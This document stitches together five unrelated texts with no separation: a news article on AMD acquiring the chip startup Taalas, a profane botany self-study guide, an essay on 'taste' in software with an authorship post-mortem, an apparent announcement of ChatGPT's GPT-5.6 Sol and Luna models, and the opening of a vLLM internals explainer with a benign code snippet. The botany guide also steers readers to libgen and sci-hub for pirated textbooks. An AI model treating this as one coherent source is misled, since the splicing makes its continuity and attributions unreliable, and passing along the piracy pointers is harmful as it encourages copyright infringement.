Early tech demos show model-specific integrated circuits churning out up to 17,000 tokens a second

In AMD’s latest bid to upset Nvidia's dominance in AI hardware, the House of Zen has acquired AI chip company Taalas, which bakes model weights directly into silicon in a process that promises to boost inference performance by an order of magnitude or more.

The deal, announced at market close on Thursday, appears to be framed in much the same context as Nvidia’s $20 billion licensing deal with Groq last December: make high-performance “premium” inference services prized for AI agents, like code assistants, faster and cheaper to run. AMD didn’t disclose the terms of the deal, but from what we understand, this is an actual acquisition rather than an acquihire.

Founded in 2023 and based in Toronto, Taalas’ approach to inference is radically different from conventional GPUs or the dataflow architectures that underpin Groq LPUs or Cerebras' waferscale accelerators.

A model-specific integrated circuit

The startup’s chips don’t rely on HBM to store the model weights but rather etch them directly into the silicon. In a sense, Taalas’ chips are really model-specific integrated circuits or MSICs.

Perhaps more importantly, Taalas’ tech isn’t just conceptual. In February, the startup revealed its first test chip fabbed on TSMC’s 6nm process tech, which it called the HC1. Initial benchmarks saw the chip serve Meta’s Llama 3.1 8B at a blistering 16,960 tokens a second — when announced last February, that was 48x faster than Nvidia's GPUs and 8.5x faster than Cerebras' accelerators. 

While Llama 3.1 is ancient by today’s standards, having made its debut all the way back in mid 2024, the reticle-sized chip was really intended to prove the concept. 

Taalas has been incredibly secretive about how its chips actually work, but we know its processors are comprised of two main regions: the mask-ROM recall fabric where model weights are etched, and the SRAM recall fabric where KV caches and fine-tuning adapters are stored.

For its second-gen HC2 chip due out this summer, Taalas aims to boost parameter count to 20 billion parameters. That might not sound like much, but just like with GPUs for larger models, weights are simply distributed across multiple accelerators using pipeline parallelism.

At 20 billion parameters per chip, you’d need just 50 accelerators to support a trillion-parameter model, and AMD just so happens to have a rack-scale compute platform and in-house system design team that can comfortably accommodate that.

That’s quite a bit more space and power efficient than Nvidia’s recently unveiled LPX systems, which would need a few dozen GPUs and at least 2,000 Groq LPUs to serve the same model.

From what we understand, AMD intends to pair its Instinct-based Helios racks with chips based on Taalas’ tech, which implies a disaggregated architecture where compute-heavy prompt processing is done on GPUs while token generation is offloaded to Taalas-based accelerators.

It’s also possible that AMD could adopt a sort of tick-tock cadence in which customers initially deploy and validate models on Instinct accelerators and, once they’re satisfied with them, transition to Taalas accelerators. We can only speculate at this point, but here’s what AMD’s SVP of AI, Vamsi Boppana, had to say about it in a canned statement:

“AMD is building a full-stack AI platform that gives customers the flexibility to deploy the right compute solutions for every AI workload."

You better really love that model

While the tech is blazing fast, if you hadn’t already figured it out, it comes with a pretty substantial downside. Once the chips are deployed you’re stuck with that model. Any change bigger than something like a LoRA adapter is going to require a re-spin of the chips, which is not only expensive but time-consuming.

Nearly four years into the AI boom, new models are rolling out on a nearly monthly basis. In order to benefit from Taalas’ tech, AMD’s customers are going to have to be really sure about their choice of models, which will be easier for some than others.

However, if the startup is to be believed, the situation isn’t quite as bad as it sounds. While new models will require a re-spin, it doesn’t require starting over from scratch. Instead, just two layers of metal need to be changed, which is a lot cheaper and less time-consuming.

With that said, we strongly suspect this tech will largely be deployed by AI model devs, their infrastructure providers, and a handful of inference providers. In an interview with our sibling site The Next Platform in February, the company suggested that etching a model's weights into silicon is 100x less expensive than training a frontier model.

AMD is certainly in a position to negotiate those deals. OpenAI, Anthropic, and Meta are all major Instinct customers. Given the close working relationship between the model houses and the chip designer, it wouldn't be surprising to see a GPT or Claude deployed on a combination of Taalas and instinct accelerators.

The tech also has implications for model development. One of the ways developers have cut down on hallucinations is by trading time for accuracy. The technique, called test-time scaling, is quite simple in practice, and involves allowing a model to “think” for longer before responding.

One drawback of test-time scaling is that it consumes substantially more tokens, which makes it expensive, and means users have to wait longer for the chatbot, code assistant, or agent to respond. If AMD’s Taalas buy can drive down the cost per token and boost output speeds by 10x or 20x, model devs may opt to extend the reasoning time even further.

In any case, we may not have to wait long to see just how Taalas fits into AMD’s broader vision. Subject to regulatory approval, the deal is expected to close in the fourth quarter. ®

I frequently get messages from people who really want to teach themselves botany and learn exactly where the fuck to start identifying plants and learning about them. The field is full of intimidating words (as well as some powdery stiffs, like much of Academia) and a confusing lexicon that can be a turn off to the layperson. I’m telling you this though - don’t be intimidated. With the internet, you have 24 hour access to the library. Use it. Ask questions. See a word you don’t understand? Look it up. Read about a concept that doesn’t make any sense to you (ie “what the shit does ‘monophyletic’ mean and why is it important)? Figure out what about it is confusing and ask the damn google.

That said, there are some key concepts you should understand that will make things a lot easier. They are:

Latin terminology - why do we use Latin? Well, because some dead guy named Linnaeus realized we need a universal system that scientists from multiple different cultures could use (at the time, he was probably mostly thinking of “white European cultures”, and while we can acknowledge how backwards and fucking goofy this is now, we can still admit that Linnaeus’ ideology was simply flawed like his time and NOT throw out the baby with the proverbial bath water. The fucker created a beautiful system, and it works. And that’s why we still use it. I say this because a few unthinking “performative leftist” nitwits as of late have decided to attack the science of taxonomy itself). Common names simply don’t work on a large scale. One common name (ie “cedar”) can refer to 8 different totally unrelated plants, where as Cedrus refers specifically to the genus which contains the species C. libani, C. deodara, and C. atlantica. When botanic names (or any organism’s name) is written in scientific nomenclature, the genus name is capitalized and the species name is lower case, and the name itself is usually written in italics. If you write a species name “Cedrus Atlantica” it is a dead give-away that you don’t know what the fuck you are doing. I was politely corrected on this point more than a decade ago, and I never hesitate to politely correct others. It’s like being courteous enough to tell somebody that they have a booger on their face.

Taxonomy : IS THERE A METHOD TO THE MADNESS? WHAT GIVES? - In short, yes, there is, absolutely, and it is so FUCKING cool. Why is it cool? Because we now group things according to how evolutionarily related are, and how they evolved. Once you learn the key concepts and traits that unite a family or a genus or a tribe, you can now identify members of that evolutionary grouping that you have never seen before. This is how I can see a plant that I have never encountered before and automatically know what other plants its related to, what family or genus it is in, and thus know what taxonomic group to search for it under (on inaturalist using the “explore” feature or with a key (flora), etc).

Plant Systematics by Michael Simpson

This is the seminal textbook to use if you are deciding to take the deeper dive into botany. Plant Systematics is the study of plant evolution, and furthermore is the study of plant identification as it relates to plant evolution via an understanding of SYNAPOMORPHIES. This textbook by Dr. Michael Simpson lays out why botanists were able to tell how closely related certain plant families and orders were BEFORE the advent of DNA analysis, as well as why some of those prior assumptions were found to be wrong. This is a family-by-family, and order-by-order way to become familiar with plant morphology and evolution. This is also an excellent way to one day be able to see new plants that you have never seen before and automatically know what families or genera they might be related to simply by observing them. At present, the third edition is the most current and it is a book that you will use as a reference for the next ten years (at least) of your life.

Raven's Biology of Plants

This textbook covers many of the basics of plant biology as well as getting into the nuances of plant evolution, with excellent examples of some of the more charismatic and curious plant species out there. It also does a great job of explaining what botanists know so far about how plants evolve and how selection pressures work to cause all the “variations on a theme” and “endless forms most beautiful” that got Darwin all horny. What is an ecotype you say? What is the Hardy-Weinberg theorem? What are allele frequencies? What is convergent evolution? All these concepts are explained, in depth, in this excellent text book.

Additional Texts

It’s always great to be able to support authors by buying their books, but sometimes the cost of self-education can prohibitive. It is my firm belief that any of the authors listed below (unless they’re dicks) would not want anyone to be prohibited from reading their work. This is why sources like www.libgen.is and www.sci-hub.se and other book sharing websites exist. In this case I suggest purchasing a cheap android tablet and becoming acquainted with the idea of reading textbooks in pdf form. A half pound electronic device can store upwards of half a million pages or more worth of textbooks.

Phylogeny and Evolution of the Angiosperms by Pam and Doug Soltis

The Tangled Tree by David QUammen - A Good pop-sci explanation of molecular phylogenetics and understanding evolution

Plant Evolution : An Introduction to the History of Life by Karl Niklas

Botany Illustrated by Janice Glimm-Lacy

Annals of the Former World (geology) by John Macphee

Botany for Gardeners by Brian Capon

The Ecology of Plants by Jessica Gurevitch

A Botanist’s Vocabulary by Susan Pell

The Rose’s Kiss by Peter Bernhardt

Flowering Plant Families by Wendy Zomlefer

How the Earth Turned Green by Joseph Armstrong

The Origin, Expansion, and Demise of Plant Species by Donald Levin

The Ecology of Seeds by Michael Fenner

The Fungi by Sarah Watkinson

Biogeography : An Ecological and Evolutionary Approach by C. Barry Cox

Evolution Making Sense of Life by Carl Zimmer

Cacti Biology and Uses

An Island Called California by Elna Baker (a great text due to it’s explanation of ecological relationships even if you don’t live in California)

Serpentine Geoecology of Western North America by Earl Alexander

A Natural History of California by Allan Schoenherr

Ecology of Desert Systems by Whitford

The California Deserts by Bruce Pavlik

Plant and Animal Endemism in California by Susan Harrison (again - great explanations even if you’re not into California. IT is a great case study)

How to Make a Herbarium Pressing

Cut a branch and press in an old coffee table book or cook book ( you can buy them at good will) or just use a big sketchbook. Press is with something heavy when you get home to keep it flat as it dries. Run air over it ( I have even put the whole sketchbook on top of the food dehydrator before). Upload an observation to inaturalist. That observation will give you the county, gps, elevation, etc. 

Then make a label on acid-fre archival paper that has the following information : 

(Next Line) Taxon name, Family

(Next Line)Blank County, Blank State. Blank location on ROAD X,  Blank Miles West of the TOwn of X,

(Next Line) Description of Habitat, ie (desert scrub/open prairie, shade woodland, etc), Description of other plants present in this plant community

(Next Line) Inaturalist Observation Number (the numbers after the slash on the web address for the Inat Observation)

(Next Line) GPS Coordinates

(Next Line) Elevation

(Next Line) Date Collected :

(Next Line) Collected by :

Post Mortem

Hey. I’ve been kindly informed that this post has hit the frontpage of Hacker News, and combing through the comments I have been shown that this post reads of as what I would describe as, well, AI slop. If this is a concern of yours, please honor me with a quick glance at the post-mortem section below. Thanks!

For most of the time I have been writing software—which, compared to some of my readers, is not that long—I have come to believe that the hard thing was making the thing exist at all. This is not necessarily a new belief of mine. I started through the difficult and tedious experience of building web applications and watching them crash and burn.

You had an idea, and between the idea and the working program stood hours— sometimes weeks—of typing, of reading manuals, of misunderstanding an API and slowly grinding the wrong version into a slightly less wrong one. Production was the wall. Everyone hit it. It was the thing that separated the people who could from the people who could only talk about it.

That wall is gone. Or rather, it has been rented out. 1 You can describe a thing now and receive a plausible version of it much faster than you could have typed the first function by hand. The idea-to-artifact distance, the one that defined the entire craft, has collapsed to almost nothing.

Though, you have not been warned about one little thing: the value you built by learning to climb that wall does not disappear. It simply… moves.

The Bar Went Somewhere

We keep asking whether the machines are any good. Even yesterday I had a rather short discussion on whether they are reliable. While we have concluded that they are “reliably unreliable,” I think it is the wrong question. The output is good enough, generally anyway, and that is the problem—most of it, at least. Good enough is a solvent. It dissolves the reason to do better. For as long as making things was expensive, the expense did quiet work on our behalf. It rationed output. It meant that anything which existed had, at minimum, survived the cost of being made. You know what I mean? Effort was a filter, and like all filters it was invisible until it was removed. Nobody shipped a thousand mediocre variations of a feature, because a thousand mediocre variations cost a thousand times as much as one. The economics enforced a floor.

That floor is now gone. And when the floor goes, the thing that decides what is worth keeping is no longer the cost of making it. It is you. Your judgement. The verdict you reach when you look at three plausible versions of the same function and know, somehow, that two of them are wrong. That verdict has a name we are slightly embarrassed to use in engineering circles, because it sounds soft and unfalsifiable and vaguely aristocratic.

Taste.

What Taste Actually Is

I want to be careful here, because “taste” is doing a lot of work and it is easy to hear it as decoration. A matter of preferences. Whether you like your braces on the same line.

That is not what I mean.

Robert Pirsig spent an entire book circling a word he refused to define, because he had convinced himself that defining it would kill it. He called it Quality. His argument, roughly, was that you recognise Quality before you can explain it— that the recognition comes first and the reasons arrive later, if they arrive at all. A good mechanic knows the engine is wrong before he knows why. A good editor feels the sentence sag before she can name the clause that failed. 2

Taste is that. It is the compressed, wordless verdict you reach faster than you can justify. It is partially 3 the “no, again” you say to yourself with total conviction and no available argument. And it is not soft at all. It is the hardest thing in the work, because it is the only part that was never mechanical to begin with.

Everything downstream of the verdict—the typing, the syntax, the wiring of one library to another—was always, in principle, automatable. We just had not gotten around to it. The verdict was the thing the machine could not do for you.

It still cannot. It can only make the absence of it cheaper to ignore.

Taste Is Downstream of Friction

Here is the uncomfortable mechanism, the part I would rather not think about.

Where did your taste come from?

No really. Where did it come from, was it genetic? Were you abducted by aliens one day that forcefully injected your sense of taste into your mind and wiped your memory?

I’ll tell you this much: it’s not from consuming good work. You cannot read a hundred excellent programs and absorb the judgement by osmosis, any more than you can become a chef by eating in good restaurants. Taste is built the slow, stupid, humiliating way: you make something bad, you are forced to live with it, it fails in front of you, and some part of you files the failure away. Then you do it again. The palate is an accretion of your own mistakes, sat with long enough to sting.

The friction was not an obstacle to developing taste. The friction was the curriculum. Every wall I cursed while climbing it was, without my noticing, teaching me which walls were worth climbing. The cost that rationed my output also educated my judgement, because paying the cost over and over is how you learn what is worth paying for.

So watch what happens when you remove the friction for the next person.

They can generate fluently from the first day. They will never ship the bad version and be forced to sit in it, because the tool offers them a competent version for free. They will climb no wall, and so they will learn nothing from the climb. They will arrive at fluency having skipped the entire apprenticeship that fluency used to require—and they will be more productive than I was at their stage, by every metric anyone bothers to measure.

They will be able to make anything, and unable to tell (or stop to think) whether they should. Not necessarily through any fault of their own. We removed the part of the process that would have taught them, and we called it progress, and by most definitions it was.

The Economics Are Against You

Suppose you have taste. Suppose you paid the full price and you can feel the sag in the sentence and the wrongness in the function.

Congratulations! You now ship at exactly the same speed as the person who cannot.

This is the quiet cruelty of the situation and I do not have a comforting way to phrase it. Taste is slow. It says “no, again.” It sends the plausible thing back because plausible is not the same as right, and while it is doing that, the person without it has already shipped, closed the ticket, and moved on. The market timed you both with the same stopwatch and it did not see the difference. It cannot see the difference. Taste does not show up in the diff.

It is unmeasurable, uncreditable, and invisible on a dashboard. You cannot point to the disasters it prevented, because prevented disasters leave no trace. You carry a cost—the extra hours, the returned work, the refusal to ship the fine thing when the right thing is still reachable—and you carry it alone, against an incentive gradient that runs the other way.

Harry Frankfurt once drew a careful line between the liar and the bullshitter. The liar at least respects the truth enough to work against it. The bullshitter does not care about the truth in either direction; he is simply indifferent to it. 4 Slop is the bullshit of engineering. It is not wrong, exactly. It is indifferent. It works, it passes, it is fine. And fine, produced without friction and shipped without judgement, is now the most abundant substance in the field.

The Flood

Sturgeon said it decades ago, defending science fiction from a critic: ninety percent of everything is crap. 5 He meant it as consolation. Ninety percent of every field is bad, so do not judge the field by its bulk. But the ratio was never the danger. It held steady for centuries. What held the flood back was that producing the crap cost something. Bad novels still took a year to write. Bad software still took a month to build. The ninety percent was throttled at the source by the sheer inconvenience of making it.

We have now removed the throttle and left the ratio intact. Ninety percent of an infinite output is still infinite. The signal did not get worse. The noise became free, and free noise rises without limit, and every real thing you make now arrives into a sea of plausible nothing that looks, at a glance, exactly like it.

Which means the scarce act is no longer making. It is choosing. Deciding what, out of the endless generated plausible, deserves to exist and be kept. Curation was a minor virtue when things were expensive to make. It is the whole game when they are free.

What Deserves to Exist

There is a rhyme here, if you go back far enough.

When the factories came, they could suddenly make everything—cheaply, uniformly, by the thousand. 6 And a handful of people, Morris and Ruskin among them, looked at the flood of cheap identical goods and asked a question that sounded, at the time, sentimental and doomed: not can we make this, but should this be made, and made this way, by no one, for no reason but that the machine could.

They lost the economic argument. They were always going to. But they were right about the thing that mattered, which is that when the making becomes free, the choosing becomes the craft. The human question stops being “can I build it” and becomes “does this deserve to exist”—and that question was always the more serious one. We just could not afford to ask it while we were busy climbing walls.

I keep coming back to this turn. It is not consolation but a correction.

The tools did not devalue the skill. They stripped away everything that was not the skill. All those years I thought the work was the production—the typing, the wiring, the wall—and production turns out to have been the toll. The tax you paid for the privilege of exercising judgement. Now the tax is close to zero, and what is left standing, exposed, with nowhere to hide, is the judgement itself. The part that was always the point.

Taste did not become less valuable. It became the only thing that was ever scarce. We just could not see it, because it was buried under all the labour it used to take to get to it.

A Defense, Then

So here is the defense, such as it is.

Anyone can generate now. That race is over and it was never worth winning. The discipline that remains—the one the machine cannot rent you and the dashboard cannot see—is in the deletion. In the “no, again.” In caring about the difference between fine and right when nothing external will ever reward you for caring, when the market has timed you and shrugged, when the plausible version sits there working and passing and asking only to be let through.

Refuse it anyway. Not out of nostalgia for the friction—I do not miss the wall, and I will not pretend to. Refuse it because the verdict is the last part of this that is actually yours. It is unmeasurable, which means no one can take it from you by measuring it. It is unautomatable, which means no one can sell it back to you. It is slow, which in a field optimising for infinite speed is starting to look less like a handicap and more like the only remaining evidence that a human was here and gave a damn.

Everyone can make anything. Almost no one can tell you what is worth making.

That was always the harder skill. It is now the only one left.

Post-Mortem

On Language

This post reads off as AI slop. You said it, I see it. I’m sincerely sorry for publishing something that has allowed you to feel this way. If my word means anything to you, I would like to assure you that this post was not authored by a LLM. Nor was it storyboarded, reviewed, checked, etc. by a LLM. Some readers have pointed out that people do not speak this way. That is correct. I do not speak, nor usually write, like this and this post will go down as my not-the-proudest, however, I take your criticism to heart—although not personally—and strive to improve.

I do write like this sometimes. The short sentences, the reversals, the one-word lines—all of it. It’s just the way it is. A LLM writes that way too, because it was trained on the same essays I grew up reading, so me doing it badly and a machine doing it look about the same to you on the page. That says something about my writing. It says nothing about who wrote it.

So let me be plain about it: Claude was not here. No LLM wrote this—not a sentence of it, nor was it outlined, drafted, reviewed, checked, etc. by one, and there is no prompt behind it either. It is just me, writing worse than usual. I will write the next one plainer. Next time, write to me. I too am a person behind this screen.

In Appreciation

Be assured that I have read all of your comments—the good and the bad. As with my previous post that reached Hacker News, I’ve received many insightful ones. Whether it was people sharing their experience, or negative comments with the decency to criticize with substance, I have learned something new today—for which I am thankful.

On Taste

I do not care about your taste. If this posts has offended you, then it tells more about you than it does about me. As they say, “throw an insult on the ground, its owner will pick it up”—this one I am not sorry about.

Footnotes

1. There is an older word for this arrangement. You no longer own the means of production; you rent them, by the token, from whoever trained the model. An English teacher of mine—a committed socialist—would have had the whole thing diagrammed on the board before I finished the sentence: the worker separated first from his tools, then from the labour itself, then sold a frictionless substitute for the labour and told this was liberation. He would also, I suspect, have been the first to note the one part of the process that cannot be rented back to you, because it never left your head. Draw your own conclusions about which part that is. ↩

2. Zen and the Art of Motorcycle Maintenance, if you have not read it. It is about a great deal more than motorcycles, and almost nothing about Zen. ↩

3. Someone will (and has!) object that taste is not only the “no, again”—that compressing it to a verdict makes the work sound like leaning back in a chair and rejecting things while the machine does the labour. The objection is fair, which is why the sentence above says partially. The “no, again” is the shorthand, not the whole of it. The verdict lives inside the work—in the data structures that have to actually scale, in the privacy you have to actually mean, in the function you rewrite a fourth time because the third was merely fine. Taste is not the chair you lean back in. It is the reason you lean forward into all the rest of it. ↩

4. On Bullshit. Frankfurt, 2005, though the essay is older. Yes, that is the real title. ↩

5. Now called Sturgeon’s Law, or Sturgeon’s Revelation. He put it in print in his book-review column in Venture Science Fiction, March 1958, after years of using it to rebut critics who judged the whole genre by its worst examples. ↩

6. A fair pushback I got: this makes the factory sound like it fell out of the sky, some magical “good enough” that arrived one day fully formed. It did not. The factory is itself a monument of taste and labour—someone tuned every tolerance and is still in there tuning them, and the same is true of the model you are renting by the token. So I am not saying the box is magic. I am saying the box moved the taste up a level: out of the making, and into the deciding of what is worth making at all. Which is the whole argument. ↩

Our mission is to ensure that artificial general intelligence benefits all of humanity. We’re introducing updates to ChatGPT that improve everyday conversations while expanding access for Free users.

For Plus and Pro users, we’re updating GPT‑5.6 Sol in Chat to be more reliable with facts and provide more focused answers. A new slider lets you choose how much thought ChatGPT puts into each response.

For Free users, we're updating the default model to GPT‑5.6 Luna and expanding access with unlimited text chats. For questions that need more thought, a new Think button lets you access higher reasoning for harder questions.

GPT‑5.6 Sol, tuned for how you use ChatGPT

Every week, 1 billion people turn to ChatGPT for everything from quick questions and web searches to planning, research, advice, and complex decisions. We’ve updated GPT‑5.6 Sol to better support that full range. It delivers more focused answers, adapts its level of detail to the question, avoids unnecessary formatting, and offers a helpful correction when simply agreeing wouldn’t be useful. For Plus and Pro users, the same model now powers both Instant responses and deeper reasoning, creating one consistent experience.

More focused answers

The updates to GPT‑5.6 Sol in ChatGPT are designed to give you more direct responses, use tighter formatting, and avoid extra detail when it does not help.

For a quick question, that means a direct answer with the context you need. For more involved work like multi-step planning, research or writing, it means a fuller response that keeps the main recommendation clear.

Can I bike from the Mission to Ocean Beach after work today without getting soaked?

GPT-5.5 Instant

Probably yes. Based on today's forecast, I'd expect you to stay dry on a Mission → Ocean Beach ride after work. Here's what I'd plan for:

• Rain: No meaningful rain is forecast this evening.
• Wind: You'll likely have a moderate west/northwest headwind for the last stretch toward the beach, with gusts around 20–25 mph. That's more likely to slow you down than get you wet.
• Temperature: Expect a noticeable drop—from the upper 60s in the Mission to around the low 60s (or cooler if the marine layer moves in early) at Ocean Beach.

The one caveat is coastal mist. Even without rain, Ocean Beach can feel damp from fog or sea spray late in the day. You probably won't get "soaked," but if you're wearing a cotton shirt, you might end the ride feeling a bit clammy near the beach. A light windbreaker is the one thing I'd bring. Also, if you're planning to hang out on the beach afterward, be aware there's a Beach Hazards Statement in effect because of elevated surf and rip current risk.

Assume I'm leaving around 5:30.

If you're rolling out around 5:30 PM, I'd go for it.

Here's what I'd expect:

• Rain: Still no indication of rain during the evening commute.
• Temperature: Around 67°F when you leave the Mission, dropping to the low 60s by the time you reach Ocean Beach.
• Wind: This is the bigger factor. Expect a 15–20 mph westerly wind, with gusts up to around 25 mph, so the final miles westbound will likely feel noticeably harder.
• Fog: There's a chance you'll ride into the edge of the marine layer near the Great Highway. Even if it's foggy, it looks more like cool mist than actual rain.

So my prediction is:

• Mission → Golden Gate Park: Comfortable.
• Golden Gate Park → Ocean Beach: Cooler, windier, and maybe a little damp from fog—but not soaked.

I'd wear a light wind shell if you have one, mostly for the wind rather than precipitation. If you're planning to head back later in the evening, it'll feel significantly cooler once the sun gets lower.

GPT-5.6 Sol

Yes — you should stay dry. There’s essentially no rain expected after work today. The bigger factor is the ride west: expect a noticeable headwind, with west winds around 10–20 mph and potentially stronger gusts.

So: no rain shell needed for precipitation, but bring a light wind layer for Ocean Beach.

I can also keep an eye on the evening forecast and alert you if rain suddenly appears. Want me to?

Assume I'm leaving around 5:30.

At 5:30 PM, you’re in good shape: the forecast has 0% precipitation through the evening, so getting soaked shouldn’t be a concern.

I’d still bring a light windbreaker. As you get closer to Ocean Beach, the wind and cooler coastal air will be much more noticeable than in the Mission.

GPT‑5.6 Sol is the stronger answer because it answers the real question first, identifies wind rather than rain as the main issue, and keeps only the details the rider needs. After the 5:30 follow-up, it updates the recommendation without repeating the full forecast.

More reliable facts

A useful answer needs to get the facts right. The new GPT‑5.6 Sol is designed to make fewer mistakes—especially when answers depend on dates, numbers, sources, rules, or assumptions—by better using the sources it finds to answer your question.

In an internal evaluation of financial, medical, and legal prompts requiring factual detail, responses containing at least one factual error were about 62% less common with GPT‑5.6 Luna and 68% less common with GPT‑5.6 Sol than with GPT‑5.5 Instant.

More consistent, from quick answers to deeper thinking

With this update, we’re also bringing ChatGPT’s Instant and Thinking experiences closer together, creating a more consistent tone and behavior across different kinds of conversations. When you move from Instant to higher effort, it should feel like the model is taking extra time for a more comprehensive answer—not like you’re switching to a different model with its own tone or style.

Plus and Pro users can use the new slider in ChatGPT on web, mobile, and desktop to choose how much thought ChatGPT puts into an answer. Keep it quick for everyday questions, or move the slider up for planning, research, writing, coding, or decisions that need more thought.

Expanding access for free users

We’re expanding access to our latest models for free users with unlimited text chats using GPT‑5.6 Luna, plus a new Think button for harder questions.

For questions that require deeper reasoning, Free users can tap the new Think button to give GPT‑5.6 Luna more time to work through the answer.

Safety and availability

Plus and Pro users can access the updated version of GPT‑5.6 Sol and the new slider in ChatGPT starting today.

GPT‑5.6 Luna will become the default model for Free and Go users this week. Starting next week, they’ll also have unlimited text chats and access to a new Think button for harder questions (subject to abuse guardrails). Limits will still apply for file uploads, images and other tools.

Because this version of GPT‑5.6 Sol is optimized for everyday chats, it will only be available in the Chat experience in ChatGPT. The version of GPT‑5.6 Sol that powers Work and Codex is not changing as part of this release.

You can find more detail on safety training and evaluations in our system card⁠(opens in a new window), which outlines additional measures we’ve introduced to support users we believe are under 18. For these users, we trained the model to avoid romantic roleplay, age-restricted challenges, and presenting itself as a substitute for real-world relationships. In addition, we applied age-appropriate boundaries around sexual content, eating disorders and body-image risks, age-restricted goods, dangerous activities, and graphic violence. Finally, the model encourages connection with trusted people when a teen may need support. We reinforced this training with system-level protections and have added new evaluations for how our models perform for users under 18, and are continuing to improve model responses in this area.

More intelligence for more people

This is a concrete step toward more abundant intelligence: making our latest models more widely available, improving the usefulness and reliability of the answers people get, and letting free users keep text chats going without a rate limit. Access shapes opportunity, and this update gives more people the ability to keep asking, develop an idea, and get help when they need it.

From paged attention, continuous batching, prefix caching, specdec, etc. to multi-GPU, multi-node dynamic serving at scale

In this post, I'll gradually introduce all of the core system components and advanced features that make up a modern high-throughput LLM inference system. In particular I'll be doing a breakdown of how vLLM [1] works.

This post is the first in a series. It starts broad and then layers in detail (following an inverse-pyramid approach) so you can form an accurate high-level mental model of the complete system without drowning in minutiae.

Later posts will dive into specific subsystems.

This post is structured into five parts:

1. LLM engine & engine core: fundamentals of vLLM (scheduling, paged attention, continuous batching, etc.)
2. Advanced features: chunked prefill, prefix caching, guided & speculative decoding, disaggregated P/D
3. Scaling up: from single-GPU to multi-GPU execution
4. Serving layer: distributed / concurrent web scaffolding
5. Benchmarks and auto-tuning: measuring latency and throughput

📝Notes

• Analysis is based on commit 42172ad (August 9th, 2025).
• Target audience: anyone curious about how state-of-the-art LLM engines work, as well as those interested in contributing to vLLM, SGLang, etc.
• I'll focus on the V1 engine. I also explored V0 (now deprecated), which was valuable for understanding how the project evolved, and many concepts still carry over.
• The first section on LLM Engine / Engine Core might be a bit overwhelming/dry - but the rest of the blog has plenty examples and visuals. :)

LLM Engine & Engine Core

The LLM engine is the fundamental building block of vLLM. On its own, it already enables high-throughput inference - but only in an offline setting. You can't serve it to customers over the web yet.

We'll use the following offline inference snippet as our running example (adapted from basic.py).

from vllm import LLM, SamplingParams

prompts = [
    "Hello, my name is",
    "The president of the United States is",
]

sampling_params = SamplingParams(temperature=0.8, top_p=0.95)

def main():
    llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0")

    outputs = llm.generate(prompts, sampling_params)

if __name__ == "__main__":
    main()

📝Environment vars:

• VLLM_USE_V1="1" # we're using engine V1
• VLLM_ENABLE_V1_MULTIPROCESSING="0" # we're running in a single process

This configuration is:

• offline (no web/distributed system scaffolding)
• synchronous (all execution happens in a single blocking process)
• single-GPU (no data/model/pipeline/expert parallelism; DP/TP/PP/EP = 1)
• using standard transformer [2] (supporting hybrid models like Jamba requires a more complex hybrid KV-cache memory allocator)

From here, we'll gradually build up to an online, async, multi-GPU, multi-node inference system - but still serving a standard transformer.

In this example we do two things, we:

1. Instantiate an engine
2. Call generate on it to sample from the given prompts

Let's start analyzing the constructor.

LLM Engine constructor

The main components of the engine are:

• vLLM config (contains all of the knobs for configuring model, cache, parallelism, etc.)
• processor (turns raw inputs → EngineCoreRequests via validation, tokenization, and processing)
• engine core client (in our running example we're using InprocClient which is basically == EngineCore; we'll gradually build up to DPLBAsyncMPClient which allows serving at scale)
• output processor (converts raw EngineCoreOutputs → RequestOutput that the user sees)

📝Note:

With the V0 engine being deprecated, class names and details may shift. I'll emphasize the core ideas rather than exact signatures. I'll abstract away some but not all of those details.

Engine core itself is made up of several sub components:

• Model Executor (drives forward passes on the model, we're currently dealing with UniProcExecutor which has a single Worker process on a single GPU). We'll gradually build up to MultiProcExecutor which supports multiple GPUs

• Structured Output Manager (used for guided decoding - we'll cover this later)

• Scheduler (decides which requests go into the next engine step) - it further contains:

  1. policy setting - it can be either FCFS (first come first served) or priority (higher priority requests are served first)
  2. waiting and running queues
  3. KV cache manager - the heart of paged attention [3]

The KV-cache manager maintains a free_block_queue - a pool of available KV-cache blocks (often on the order of hundreds of thousands, depending on VRAM size and block size). During paged attention, the blocks serve as the indexing structure that map tokens to their computed KV cache blocks.

Core components described in this section and their relationships

Block size for a standard transformer layer (non-MLA [4]) is computed as follows:
2 (key/value) * block_size (default=16) * num_kv_heads * head_size * dtype_num_bytes (e.g. 2 for bf16)

During model executor construction, a Worker object is created, and three key procedures are executed. (Later, with MultiProcExecutor, these same procedures run independently on each worker process across different GPUs.)

1. Init device:

   • Assign a CUDA device (e.g. "cuda:0") to the worker and check that the model dtype is supported (e.g. bf16)
   • Verify enough VRAM is available, given the requested gpu_memory_utilization (e.g. 0.8 → 80% of total VRAM)
   • Set up distributed settings (DP / TP / PP / EP, etc.)
   • Instantiate a model_runner (holds the sampler, KV cache, and forward-pass buffers such as input_ids, positions, etc.)
   • Instantiate an InputBatch object (holds CPU-side forward-pass buffers, block tables for KV-cache indexing, sampling metadata, etc.)

2. Load model:

   • Instantiate the model architecture
   • Load the model weights
   • Call model.eval() (PyTorch's inference mode)
   • Optional: call torch.compile() on the model

3. Initialize KV cache

   • Get per-layer KV-cache spec. Historically this was always FullAttentionSpec (homogeneous transformer), but with hybrid models (sliding window, Transformer/SSM like Jamba) it became more complex (see Jenga [5])
   • Run a dummy/profiling forward pass and take a GPU memory snapshot to compute how many KV cache blocks fit in available VRAM
   • Allocate, reshape and bind KV cache tensors to attention layers
   • Prepare attention metadata (e.g. set the backend to FlashAttention) later consumed by kernels during the fwd pass
   • Unless --enforce-eager is provided, for each of warmup batch sizes do a dummy run and capture CUDA graphs. CUDA graphs record the whole sequence of GPU work into a DAG. Later during fwd pass we launch/replay pre-baked graphs and cut on kernel launch overhead and thus improve latency.

I've abstracted away many low-level details here — but these are the core pieces I'll introduce now, since I'll reference them repeatedly in the following sections.

Now that we have the engine initialized let's proceed to the generate function.

Generate function

The first step is to validate and feed requests into the engine. For each prompt we:

1. Create a unique request ID and capture its arrival time
2. Call an input preprocessor that tokenizes the prompt and returns a dictionary containing prompt, prompt_token_ids, and a type (text, tokens, embeds, etc.)
3. Pack this info into an EngineCoreRequest, adding priority, sampling params, and other metadata
4. Pass the request into the engine core, which wraps it in a Request object and sets its status to WAITING. This request is then added to the scheduler's waiting queue (append if FCFS, or heap-push if priority)

At this point the engine has been fed and execution can begin. In the synchronous engine example, these initial prompts are the only ones we'll process — there's no mechanism to inject new requests mid-run. In contrast, the asynchronous engine supports this (aka continuous batching [6]): after each step, both new and old requests are considered.

